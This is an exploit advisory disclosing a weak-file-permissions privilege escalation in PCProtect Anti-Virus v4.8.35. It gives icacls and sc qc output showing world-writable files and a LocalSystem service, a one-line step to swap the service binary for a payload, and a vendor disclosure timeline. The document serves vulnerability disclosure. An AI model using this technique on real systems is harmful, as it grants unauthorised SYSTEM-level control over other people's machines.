PCProtect 4 8.35 Privilege Escalation

`# Exploit Title : PCProtect v4.8.35 - Weak File Premissions Privilege Escalation  
# Date : 09/11/2018  
# Exploit Author : Hashim Jawad - @ihack4falafel  
# Vendor Homepage : https://www.pcprotect.com/  
# Vulnerable Software: https://www.pcprotect.com/download  
# Tested on : Windows 7 Enterprise SP1 (x64)  
  
Description:  
============  
PCProtect Anti-Virus v4.8.35 installs by default to "C:\Program Files (x86)\PCProtect" with very weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's subfolders. In addition, the program installs a service called "SecurityService" which runs as "Local system account", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with malicious one.  
  
Proof:  
======  
C:\Users\IEUser>icacls "c:\Program Files (x86)\PCProtect"  
c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F)  
Everyone:(OI)(CI)(F)  
NT SERVICE\TrustedInstaller:(I)(F)  
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)  
BUILTIN\Users:(I)(RX)  
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)  
CREATOR OWNER:(I)(OI)(CI)(IO)(F)  
  
Successfully processed 1 files; Failed processing 0 files  
  
C:\Users\IEUser>sc qc SecurityService  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: SecurityService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files (x86)\PCProtect\SecurityService.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : PC Security Management Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\IEUser>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"  
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)  
Everyone:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Administrators:(I)(F)  
  
Successfully processed 1 files; Failed processing 0 files  
  
C:\Users\IEUser>  
  
Exploit:  
========  
Simply replace "SecurityService.exe" with your preferred payload and wait for execution upon reboot.  
  
# Disclosure Timeline:  
# ====================  
# 09-12-18: Contacted vendor  
# 09-13-18: Vendor responded requesting more information  
# 09-13-18: Required information sent and requested to get me in touch with product security team  
# 09-14-18: Vendor replied stating that I'm free account user thus suggested checking their Help Center  
# 09-15-18: Contacted vendor again and explained this not support request rather security vulnerability and will be published in week time unless they request otherwise  
# 09-16-18: Vendor responded that a ticket has been created and forwarded to the development team  
# 09-21-18: Requested an update from vendor, no response  
# 09-27-18: Vulnerability published  
`